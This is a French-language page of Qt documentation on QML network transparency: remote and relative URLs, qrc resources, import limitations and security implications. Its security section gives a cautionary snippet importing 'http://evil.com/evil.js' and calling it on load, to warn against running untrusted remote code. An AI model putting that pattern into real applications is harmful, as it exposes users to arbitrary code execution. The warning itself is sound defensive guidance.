Sur cette page

Chargement des ressources et transparence réseau

QML prend en charge la transparence réseau en utilisant des URL (plutôt que des noms de fichiers) pour toutes les références d’un document QML vers d’autres contenus. Cela signifie que partout où une source URL est attendue, QML peut gérer aussi bien les ressources distantes que locales, comme dans l’exemple suivant de source d’image :

Image {
    source: "http://www.example.com/images/logo.png"
}

Comme une URL relative équivaut à un chemin d'accès relatif, le développement en QML sur des systèmes de fichiers classiques reste simple :

Image {
    source: "images/logo.png"
}

La transparence réseau est prise en charge dans l’ensemble de QML ; par exemple, les éléments ` FontLoader ` et `Image` prennent tous deux en charge le chargement de ressources à partir d’un serveur distant.

Même les types QML eux-mêmes peuvent se trouver sur le réseau : si l’outil qml est utilisé pour charger http://example.com/mystuff/Hello.qml et que ce contenu fait référence à un type « World », le moteur chargera http://example.com/mystuff/qmldir et résoudra le type exactement comme il le ferait pour un fichier local. Par exemple, si le fichier qmldir contient la ligne « World World.qml », il chargera http://example.com/mystuff/World.qml. Toute autre ressource à laquelle Hello.qml fait référence, généralement via une URL relative, sera chargée de la même manière depuis le réseau. Il en va de même pour les fichiers JavaScript distants utilisés avec WorkerScript.

Avertissement : les ressourcesQML et JavaScript ne doivent être chargées qu’à partir d’emplacements distants de confiance ; consultez les remarques concernant le traitement des données provenant de sources non fiables.

URL relatives vs URL absolues

Lorsqu’un objet possède une propriété de type URL (QUrl), l’affectation d’une chaîne à cette propriété revient en réalité à affecter une URL absolue : la chaîne est en effet résolue par rapport à l’URL du document dans lequel elle est utilisée.

Prenons par exemple le contenu suivant dans http://example.com/mystuff/test.qml:

Image {
    source: "images/logo.png"
}

La propriété source de Image se verra attribuer la valeur http://example.com/mystuff/images/logo.png, mais pendant le développement du QML, par exemple dans C:\User\Fred\Documents\MyStuff\test.qml, elle se verra attribuer la valeur C:\User\Fred\Documents\MyStuff\images\logo.png.

Si la chaîne attribuée à une URL est déjà une URL absolue, la « résolution » ne la modifie pas et l’URL est attribuée directement.

Ressources QRC

L’un des schémas d’URL intégrés à Qt est le schéma « qrc ». Celui-ci permet de compiler du contenu dans l’exécutable à l’aide du système de ressources Qt. Grâce à cela, un exécutable peut faire référence à du contenu QML compilé dans l’exécutable :

QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml"));

Le contenu lui-même peut alors utiliser des URL relatives, sans se rendre compte, de manière transparente, qu’il est intégré à l’exécutable.

Limitations

L’instruction ` import ` n’est transparente au niveau du réseau que si elle comporte une clause « as ».

Plus précisément :

  • import "dir" ne fonctionne que sur les systèmes de fichiers locaux
  • import libraryUri ne fonctionne que sur les systèmes de fichiers locaux
  • import "dir" as D fonctionne de manière transparente sur le réseau
  • import libraryUrl as U fonctionne de manière transparente sur le réseau

Implications pour la sécurité des applications

Le modèle de sécurité QML repose sur le principe selon lequel le contenu QML constitue une chaîne de contenus fiables : l’utilisateur installe du contenu QML auquel il fait confiance de la même manière qu’il installe des applications Qt natives ou des programmes écrits avec des environnements d’exécution tels que Python et Perl. Cette confiance est établie par divers mécanismes, notamment la disponibilité de la signature de paquets sur certaines plateformes.

Afin de préserver la confiance des utilisateurs, les développeurs d'applications QML ne doivent pas charger ni exécuter de ressources JavaScript ou QML arbitraires. Prenons par exemple le code QML ci-dessous :

import QtQuick 2.0
import "http://evil.com/evil.js" as Evil

Component {
    onLoaded: Evil.doEvil()
}

Cela revient à télécharger et à exécuter « http://evil.com/evil.exe ». Le moteur QML n’empêchera pas le chargement de certaines ressources. Contrairement au code JavaScript exécuté dans un navigateur web, une application QML peut charger des ressources du système de fichiers, qu’elles soient distantes ou locales, de la même manière que n’importe quelle autre application native ; les développeurs d’applications doivent donc faire preuve de prudence lors du chargement et de l’exécution de tout contenu.

Comme pour toute application accédant à du contenu échappant à son contrôle, une application QML doit effectuer des vérifications appropriées sur toutes les données non fiables qu’elle charge. N’utilisez pas, par exemple, import, Loader ou XMLHttpRequest pour charger du code ou du contenu non fiable.

© 2026 The Qt Company Ltd. Documentation contributions included herein are the copyrights of their respective owners. The documentation provided herein is licensed under the terms of the GNU Free Documentation License version 1.3 as published by the Free Software Foundation. Qt and respective logos are trademarks of The Qt Company Ltd. in Finland and/or other countries worldwide. All other trademarks are property of their respective owners.